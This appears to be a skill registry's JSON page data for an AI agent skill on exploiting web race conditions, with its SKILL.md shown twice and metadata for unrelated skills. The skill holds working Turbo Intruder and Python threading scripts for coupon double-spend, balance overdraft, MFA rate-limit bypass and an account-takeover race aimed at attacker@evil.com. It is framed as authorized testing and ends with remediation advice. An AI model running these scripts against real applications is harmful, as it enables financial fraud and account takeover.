[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6EV3DDRE0ZHDVCZC4TSR486":3,"skill-same:01M6EV3DDRE0ZHDVCZC4TSR486":88},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":49,"commitSha":50,"skillDirectory":51,"forksCount":52,"repositoryHtmlUrl":53,"repositoryHomepageUrl":6,"ownerHtmlUrl":54,"ownerBlogUrl":6,"ownerDescription":55,"updatedAt":56,"install":57,"resources":70},"01M6EV3DDRE0ZHDVCZC4TSR486","exploiting-race-condition-vulnerabilities",null,"Detect and exploit race condition vulnerabilities in web applications using Turbo Intruder's single-packet attack technique to bypass rate limits, duplicate transactions, and exploit time-of-check-to-time-of-use flaws.","luokai0\u002Fai-agent-skills-by-luo-kai","luokai0","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F266954973?v=4","01M6E16VNT42JB8B3X3254QWJ7","luo kai","01M6E16VTFVP6S5XJF1V1MPV90",14,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F21-external-registries\u002F08-pinkpixel-collection\u002Fexploiting-race-condition-vulnerabilities\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"vulnerabilities","condition","exploiting race condition vulnerabilities","turbo","cybersecurity","detect","duplicate","time","use","check","transactions","application-security","applications","single-packet-attack","concurrency","toctou","turbo-intruder","race-condition","web-application-security","web","2026-11-10 10:12:30",false,"---\nname: exploiting-race-condition-vulnerabilities\ndescription: Detect and exploit race condition vulnerabilities in web applications using Turbo Intruder's single-packet attack technique to bypass rate limits, duplicate transactions, and exploit time-of-check-to-time-of-use flaws.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags: [race-condition, turbo-intruder, toctou, concurrency, single-packet-attack, limit-overrun, burp-suite]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Exploiting Race Condition Vulnerabilities\n\n## When to Use\n- When testing applications with transaction-based functionality (payments, transfers, coupons)\n- During assessment of rate-limiting or attempt-limiting mechanisms\n- When testing multi-step workflows (registration, password reset, MFA)\n- During bug bounty hunting for logic flaws in state-changing operations\n- When evaluating applications with inventory or balance management systems\n\n## Prerequisites\n- Burp Suite Professional with Turbo Intruder extension installed\n- Understanding of HTTP\u002F2 single-packet attack technique\n- Python scripting ability for custom Turbo Intruder scripts\n- Knowledge of TOCTOU (Time-of-Check-to-Time-of-Use) vulnerabilities\n- Target application with state-changing operations (purchases, votes, transfers)\n- Multiple user accounts for testing cross-user race conditions\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Race Condition Attack Surface\n```\n# Common race condition targets:\n# - Coupon\u002Fdiscount code redemption (limit: 1 per user)\n# - Account balance transfers\n# - Inventory purchase (limited stock)\n# - Rate-limited operations (login attempts, SMS verification)\n# - Multi-step workflows (email change + password reset)\n# - File upload + processing pipelines\n\n# Capture the target request in Burp Suite\n# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)\n```\n\n### Step 2 — Configure Single-Packet Attack in Turbo Intruder\n```python\n# Turbo Intruder script for single-packet race condition\n# This sends all requests simultaneously in one TCP packet\n\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          engine=Engine.BURP2)\n\n    # Queue 20 identical requests for the same operation\n    for i in range(20):\n        engine.queue(target.req, gate='race1')\n\n    # Hold all requests until ready\n    engine.openGate('race1')\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n### Step 3 — Execute Limit Overrun Attack\n```python\n# Turbo Intruder script for coupon\u002Fdiscount limit bypass\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          requestsPerConnection=50,\n                          engine=Engine.BURP2)\n\n    # Send 50 coupon redemption requests simultaneously\n    for i in range(50):\n        engine.queue(target.req, gate='coupon_race')\n\n    engine.openGate('coupon_race')\n\ndef handleResponse(req, interesting):\n    # Flag successful redemptions (200 OK)\n    if req.status == 200:\n        table.add(req)\n```\n\n### Step 4 — Exploit Multi-Endpoint Race Conditions\n```python\n# Race condition between two different endpoints\n# Example: Change email + trigger password reset simultaneously\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          engine=Engine.BURP2)\n\n    # Request 1: Change email to attacker@evil.com\n    email_change = '''POST \u002Fapi\u002Fchange-email HTTP\u002F2\nHost: target.com\nCookie: session=VALID_SESSION\nContent-Type: application\u002Fjson\n\n{\"email\":\"attacker@evil.com\"}'''\n\n    # Request 2: Trigger password reset (goes to original email)\n    password_reset = '''POST \u002Fapi\u002Freset-password HTTP\u002F2\nHost: target.com\nContent-Type: application\u002Fjson\n\n{\"email\":\"victim@target.com\"}'''\n\n    engine.queue(email_change, gate='race1')\n    engine.queue(password_reset, gate='race1')\n\n    engine.openGate('race1')\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n### Step 5 — Test with Python Threading Alternative\n```python\nimport threading\nimport requests\n\nTARGET_URL = \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fredeem-coupon\"\nCOUPON_CODE = \"DISCOUNT50\"\nSESSION_COOKIE = \"session=abc123\"\n\ndef send_request():\n    response = requests.post(\n        TARGET_URL,\n        json={\"coupon\": COUPON_CODE},\n        headers={\"Cookie\": SESSION_COOKIE},\n        timeout=10\n    )\n    print(f\"Status: {response.status_code}, Response: {response.text[:100]}\")\n\n# Create barrier to synchronize thread start\nbarrier = threading.Barrier(20)\n\ndef synchronized_request():\n    barrier.wait()  # All threads wait here, then start together\n    send_request()\n\nthreads = [threading.Thread(target=synchronized_request) for _ in range(20)]\nfor t in threads:\n    t.start()\nfor t in threads:\n    t.join()\n```\n\n### Step 6 — Analyze Results and Confirm Exploitation\n```\n# In Turbo Intruder results:\n# - Sort by status code to identify successful requests\n# - Compare response lengths to find anomalies\n# - Check if more than one request succeeded (limit overrun confirmed)\n# - Verify backend state (balance, inventory, coupon count)\n\n# Document the race window timing\n# Successful race conditions typically require:\n# - HTTP\u002F2 single-packet attack: ~30 seconds to find\n# - Last-byte sync (HTTP\u002F1.1): ~2+ hours to find\n# - Thread-based approach: Variable, less reliable\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| TOCTOU | Time-of-Check-to-Time-of-Use flaw where state changes between validation and action |\n| Single-Packet Attack | Sending multiple HTTP\u002F2 requests in one TCP packet for precise synchronization |\n| Last-Byte Sync | HTTP\u002F1.1 technique holding final byte of multiple requests then releasing simultaneously |\n| Limit Overrun | Exceeding one-time-use limits by exploiting race windows in validation logic |\n| Hidden State Machine | Exploiting transitional states in multi-step application workflows |\n| Gate Mechanism | Turbo Intruder feature that holds requests until all are queued, then releases simultaneously |\n| Connection Warming | Pre-establishing connections to reduce network jitter in race condition attacks |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Turbo Intruder | Burp Suite extension for high-speed race condition exploitation |\n| Burp Suite Repeater | Group send feature for basic race condition testing |\n| Nuclei | Template-based scanner with race condition detection templates |\n| Python threading | Custom multi-threaded race condition scripts |\n| racepwn | Dedicated race condition testing framework |\n| asyncio\u002Faiohttp | Python async HTTP for concurrent request sending |\n\n## Common Scenarios\n\n1. **Coupon Double-Spend** — Redeem a single-use coupon multiple times by sending concurrent redemption requests before the server marks it as used\n2. **Balance Overdraft** — Transfer more money than available by sending simultaneous transfer requests that each pass the balance check\n3. **MFA Bypass** — Submit multiple MFA codes simultaneously to bypass rate limiting on verification attempts\n4. **Inventory Manipulation** — Purchase more items than available stock by exploiting race conditions in inventory decrement logic\n5. **Account Registration Bypass** — Create multiple accounts with the same email by submitting concurrent registration requests\n\n## Output Format\n\n```\n## Race Condition Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fredeem-coupon\n- **Technique**: HTTP\u002F2 Single-Packet Attack via Turbo Intruder\n- **Concurrent Requests**: 20\n- **Successful Exploitations**: 4 out of 20\n\n### Findings\n| # | Endpoint | Operation | Expected | Actual | Severity |\n|---|----------|-----------|----------|--------|----------|\n| 1 | POST \u002Fredeem-coupon | Single use coupon | 1 redemption | 4 redemptions | High |\n| 2 | POST \u002Ftransfer | Balance transfer | Limited by balance | Overdraft achieved | Critical |\n\n### Race Window Analysis\n- HTTP\u002F2 single-packet: Reliable exploitation in \u003C30 seconds\n- Success rate: ~20% per batch of 20 requests\n- Race window estimated: 50-100ms\n\n### Remediation\n- Implement database-level locking (SELECT FOR UPDATE) on critical operations\n- Use optimistic concurrency control with version numbers\n- Apply idempotency keys for state-changing requests\n- Implement distributed locks for multi-server environments\n```\n","# Exploiting Race Condition Vulnerabilities\n\n## When to Use\n- When testing applications with transaction-based functionality (payments, transfers, coupons)\n- During assessment of rate-limiting or attempt-limiting mechanisms\n- When testing multi-step workflows (registration, password reset, MFA)\n- During bug bounty hunting for logic flaws in state-changing operations\n- When evaluating applications with inventory or balance management systems\n\n## Prerequisites\n- Burp Suite Professional with Turbo Intruder extension installed\n- Understanding of HTTP\u002F2 single-packet attack technique\n- Python scripting ability for custom Turbo Intruder scripts\n- Knowledge of TOCTOU (Time-of-Check-to-Time-of-Use) vulnerabilities\n- Target application with state-changing operations (purchases, votes, transfers)\n- Multiple user accounts for testing cross-user race conditions\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Race Condition Attack Surface\n```\n# Common race condition targets:\n# - Coupon\u002Fdiscount code redemption (limit: 1 per user)\n# - Account balance transfers\n# - Inventory purchase (limited stock)\n# - Rate-limited operations (login attempts, SMS verification)\n# - Multi-step workflows (email change + password reset)\n# - File upload + processing pipelines\n\n# Capture the target request in Burp Suite\n# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)\n```\n\n### Step 2 — Configure Single-Packet Attack in Turbo Intruder\n```python\n# Turbo Intruder script for single-packet race condition\n# This sends all requests simultaneously in one TCP packet\n\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          engine=Engine.BURP2)\n\n    # Queue 20 identical requests for the same operation\n    for i in range(20):\n        engine.queue(target.req, gate='race1')\n\n    # Hold all requests until ready\n    engine.openGate('race1')\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n### Step 3 — Execute Limit Overrun Attack\n```python\n# Turbo Intruder script for coupon\u002Fdiscount limit bypass\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          requestsPerConnection=50,\n                          engine=Engine.BURP2)\n\n    # Send 50 coupon redemption requests simultaneously\n    for i in range(50):\n        engine.queue(target.req, gate='coupon_race')\n\n    engine.openGate('coupon_race')\n\ndef handleResponse(req, interesting):\n    # Flag successful redemptions (200 OK)\n    if req.status == 200:\n        table.add(req)\n```\n\n### Step 4 — Exploit Multi-Endpoint Race Conditions\n```python\n# Race condition between two different endpoints\n# Example: Change email + trigger password reset simultaneously\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          engine=Engine.BURP2)\n\n    # Request 1: Change email to attacker@evil.com\n    email_change = '''POST \u002Fapi\u002Fchange-email HTTP\u002F2\nHost: target.com\nCookie: session=VALID_SESSION\nContent-Type: application\u002Fjson\n\n{\"email\":\"attacker@evil.com\"}'''\n\n    # Request 2: Trigger password reset (goes to original email)\n    password_reset = '''POST \u002Fapi\u002Freset-password HTTP\u002F2\nHost: target.com\nContent-Type: application\u002Fjson\n\n{\"email\":\"victim@target.com\"}'''\n\n    engine.queue(email_change, gate='race1')\n    engine.queue(password_reset, gate='race1')\n\n    engine.openGate('race1')\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n### Step 5 — Test with Python Threading Alternative\n```python\nimport threading\nimport requests\n\nTARGET_URL = \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fredeem-coupon\"\nCOUPON_CODE = \"DISCOUNT50\"\nSESSION_COOKIE = \"session=abc123\"\n\ndef send_request():\n    response = requests.post(\n        TARGET_URL,\n        json={\"coupon\": COUPON_CODE},\n        headers={\"Cookie\": SESSION_COOKIE},\n        timeout=10\n    )\n    print(f\"Status: {response.status_code}, Response: {response.text[:100]}\")\n\n# Create barrier to synchronize thread start\nbarrier = threading.Barrier(20)\n\ndef synchronized_request():\n    barrier.wait()  # All threads wait here, then start together\n    send_request()\n\nthreads = [threading.Thread(target=synchronized_request) for _ in range(20)]\nfor t in threads:\n    t.start()\nfor t in threads:\n    t.join()\n```\n\n### Step 6 — Analyze Results and Confirm Exploitation\n```\n# In Turbo Intruder results:\n# - Sort by status code to identify successful requests\n# - Compare response lengths to find anomalies\n# - Check if more than one request succeeded (limit overrun confirmed)\n# - Verify backend state (balance, inventory, coupon count)\n\n# Document the race window timing\n# Successful race conditions typically require:\n# - HTTP\u002F2 single-packet attack: ~30 seconds to find\n# - Last-byte sync (HTTP\u002F1.1): ~2+ hours to find\n# - Thread-based approach: Variable, less reliable\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| TOCTOU | Time-of-Check-to-Time-of-Use flaw where state changes between validation and action |\n| Single-Packet Attack | Sending multiple HTTP\u002F2 requests in one TCP packet for precise synchronization |\n| Last-Byte Sync | HTTP\u002F1.1 technique holding final byte of multiple requests then releasing simultaneously |\n| Limit Overrun | Exceeding one-time-use limits by exploiting race windows in validation logic |\n| Hidden State Machine | Exploiting transitional states in multi-step application workflows |\n| Gate Mechanism | Turbo Intruder feature that holds requests until all are queued, then releases simultaneously |\n| Connection Warming | Pre-establishing connections to reduce network jitter in race condition attacks |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Turbo Intruder | Burp Suite extension for high-speed race condition exploitation |\n| Burp Suite Repeater | Group send feature for basic race condition testing |\n| Nuclei | Template-based scanner with race condition detection templates |\n| Python threading | Custom multi-threaded race condition scripts |\n| racepwn | Dedicated race condition testing framework |\n| asyncio\u002Faiohttp | Python async HTTP for concurrent request sending |\n\n## Common Scenarios\n\n1. **Coupon Double-Spend** — Redeem a single-use coupon multiple times by sending concurrent redemption requests before the server marks it as used\n2. **Balance Overdraft** — Transfer more money than available by sending simultaneous transfer requests that each pass the balance check\n3. **MFA Bypass** — Submit multiple MFA codes simultaneously to bypass rate limiting on verification attempts\n4. **Inventory Manipulation** — Purchase more items than available stock by exploiting race conditions in inventory decrement logic\n5. **Account Registration Bypass** — Create multiple accounts with the same email by submitting concurrent registration requests\n\n## Output Format\n\n```\n## Race Condition Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fredeem-coupon\n- **Technique**: HTTP\u002F2 Single-Packet Attack via Turbo Intruder\n- **Concurrent Requests**: 20\n- **Successful Exploitations**: 4 out of 20\n\n### Findings\n| # | Endpoint | Operation | Expected | Actual | Severity |\n|---|----------|-----------|----------|--------|----------|\n| 1 | POST \u002Fredeem-coupon | Single use coupon | 1 redemption | 4 redemptions | High |\n| 2 | POST \u002Ftransfer | Balance transfer | Limited by balance | Overdraft achieved | Critical |\n\n### Race Window Analysis\n- HTTP\u002F2 single-packet: Reliable exploitation in \u003C30 seconds\n- Success rate: ~20% per batch of 20 requests\n- Race window estimated: 50-100ms\n\n### Remediation\n- Implement database-level locking (SELECT FOR UPDATE) on critical operations\n- Use optimistic concurrency control with version numbers\n- Apply idempotency keys for state-changing requests\n- Implement distributed locks for multi-server environments\n```\n",{"name":5,"tags":44,"author":47,"domain":23,"license":15,"version":48,"subdomain":37,"description":7},[36,35,34,33,32,45,46],"limit-overrun","burp-suite","mahipal","1.0","main","4d2fb89cdfb75f3f6fd3c6c5ec9ad90ea129eb3c","ai-agent-skills\u002F21-external-registries\u002F08-pinkpixel-collection\u002Fexploiting-race-condition-vulnerabilities",1,"https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai","https:\u002F\u002Fgithub.com\u002Fluokai0","a solo builder.","2026-05-06 04:29:04",{"source":8,"skillName":5,"commands":58,"prompt":68,"zipAvailable":69},[59,62,65],{"tool":60,"command":61},"npx","npx skills add luokai0\u002Fai-agent-skills-by-luo-kai --skill exploiting-race-condition-vulnerabilities",{"tool":63,"command":64},"bunx","bunx skills add luokai0\u002Fai-agent-skills-by-luo-kai --skill exploiting-race-condition-vulnerabilities",{"tool":66,"command":67},"pnpm","pnpm dlx skills add luokai0\u002Fai-agent-skills-by-luo-kai --skill exploiting-race-condition-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F21-external-registries\u002F08-pinkpixel-collection\u002Fexploiting-race-condition-vulnerabilities\u002FSKILL.md",true,[71,76,82],{"path":72,"resourceType":72,"resourceTypeDesc":73,"sizeBytes":74,"sourceHtmlUrl":75},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F21-external-registries\u002F08-pinkpixel-collection\u002Fexploiting-race-condition-vulnerabilities\u002FLICENSE",{"path":77,"resourceType":78,"resourceTypeDesc":79,"sizeBytes":80,"sourceHtmlUrl":81},"references\u002Fapi-reference.md","REFERENCE","参考文档",2446,"https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F21-external-registries\u002F08-pinkpixel-collection\u002Fexploiting-race-condition-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":83,"resourceType":84,"resourceTypeDesc":85,"sizeBytes":86,"sourceHtmlUrl":87},"scripts\u002Fagent.py","SCRIPT","脚本",4304,"https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F21-external-registries\u002F08-pinkpixel-collection\u002Fexploiting-race-condition-vulnerabilities\u002Fscripts\u002Fagent.py",[89,117,133,163,195,232],{"skillNo":90,"name":91,"nameZh":6,"description":92,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":94,"categories":95,"keywords":96,"publishedAt":39},"01M6F2SKTE208174C7S7JJCZC7","write-contracts","Generates secure Aptos Move V2 smart contracts with Object model, Digital Asset integration, security patterns, and storage type guidance. Includes comprehensive storage decision framework for optimal data structure selection. Triggers on: 'write contract', 'create NFT collection', 'build marketplace', 'implement minting', 'generate Move module', 'create token contract', 'build DAO', 'implement staking'. Ask storage questions when: 'store', 'track', 'registry', 'mapping', 'list', 'collection'.","MIT","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F22-clawhub-skills\u002Fwrite-contracts\u002FSKILL.md",[],[97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116],"write","contracts","write contracts","storage","secure","create","generate","collection","model","decision","ask","smart-contracts","selection","objects","structure","nft","token","aptos","critical","move",{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":39},"01M6F2RFXJ6T9MKW0A7N7GM45B","web-search","通用网络搜索技能，支持多引擎搜索（百度、必应、DuckDuckGo），无需API密钥即可获取实时信息","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F22-clawhub-skills\u002Fweb-search-ex-skill\u002FSKILL.md",[],[38,124,125,126,127,128,129,130,131,132],"search","web search","搜索","baidu","bing","duckduckgo","百度","多引擎","internet",{"skillNo":134,"name":135,"nameZh":6,"description":136,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":137,"categories":138,"keywords":144,"publishedAt":39},"01M6F2K968G1FZEZFPW2E6B222","solo-build","Execute implementation plan tasks with TDD workflow, auto-commit, and phase gates. Use when user says \"build it\", \"start building\", \"execute plan\", \"implement tasks\", \"ship it\", or references a track ID. Do NOT use for planning (use \u002Fplan) or scaffolding (use \u002Fscaffold).","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F22-clawhub-skills\u002Fsolo-build\u002FSKILL.md",[139],{"categoryNo":140,"categoryName":141,"taxonomyType":142,"taxonomyTypeDesc":143},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[145,146,147,148,149,150,151,152,124,153,154,155,97,156,157,158,159,160,161,162],"build","solo","solo build","MCP","workflow","commit","tasks","code","Bash","plan","read","auto","references","context7","query","scaffolding","ship it","project",{"skillNo":164,"name":165,"nameZh":6,"description":166,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":167,"categories":168,"keywords":175,"publishedAt":39},"01M6F2GKN39SGHSPWYB3662YC8","react-email","Use when building HTML email templates with React components, adding a visual email editor to an application using the React Email visual editor, rendering emails to HTML, or sending emails with Resend. Covers welcome emails, password resets, notifications, order confirmations, newsletters, transactional emails, and the embeddable email editor component.","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F22-clawhub-skills\u002Freact-email-skills\u002FSKILL.md",[169,172],{"categoryNo":170,"categoryName":171,"taxonomyType":142,"taxonomyTypeDesc":143},"01JBSEEDCAT000000000000005","邮件与沟通",{"categoryNo":173,"categoryName":174,"taxonomyType":142,"taxonomyTypeDesc":143},"01JBSEEDCAT000000000000009","前端开发",[176,177,178,179,180,181,182,183,184,185,186,187,188,27,189,190,191,192,193,194],"react","email","react email","github","editor","components","react components","component","welcome","https","notifications","password","node","html","resend","visual","emails","rendering","with",{"skillNo":196,"name":197,"nameZh":6,"description":198,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":199,"categories":200,"keywords":213,"publishedAt":39},"01M6F2FBVGVDFSG8SSFJGXA40C","APITester Agent-Driven API Testing","Test API endpoints and document responses. Define tests in plain English, run them, get formatted results. Agent-driven Postman alternative.","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F22-clawhub-skills\u002Fopenclaw-api-tester\u002FSKILL.md",[201,204,207,208],{"categoryNo":202,"categoryName":203,"taxonomyType":142,"taxonomyTypeDesc":143},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":205,"categoryName":206,"taxonomyType":142,"taxonomyTypeDesc":143},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":140,"categoryName":141,"taxonomyType":142,"taxonomyTypeDesc":143},{"categoryNo":209,"categoryName":210,"taxonomyType":211,"taxonomyTypeDesc":212},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231],"testing","api","api testing","driven","APITester Agent Driven API Testing","test","run","postman","results","plain english","tester","endpoints","document","get","define","tests","english","api-tester",{"skillNo":233,"name":234,"nameZh":6,"description":235,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":236,"categories":237,"keywords":238,"publishedAt":39},"01M6F273Y3NGAPVJZ608BC0G9G","hubspot-implementation-plan","Generate a phased implementation plan from a HubSpot audit report. Creates prioritized, sequenced cleanup processes with effort estimates, dependencies, and automation feasibility. Use after running \u002Fhubspot-audit.","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F22-clawhub-skills\u002Fhubspot-implementation-plan\u002FSKILL.md",[],[154,239,240,241,242,243,244,103,245,246,247,248,249,27,250,251,194,252],"implementation","hubspot","hubspot implementation plan","automation","feasibility","cleanup","planning","report","audit","audit report","phased implementation","dependencies","processes","hubspot audit"]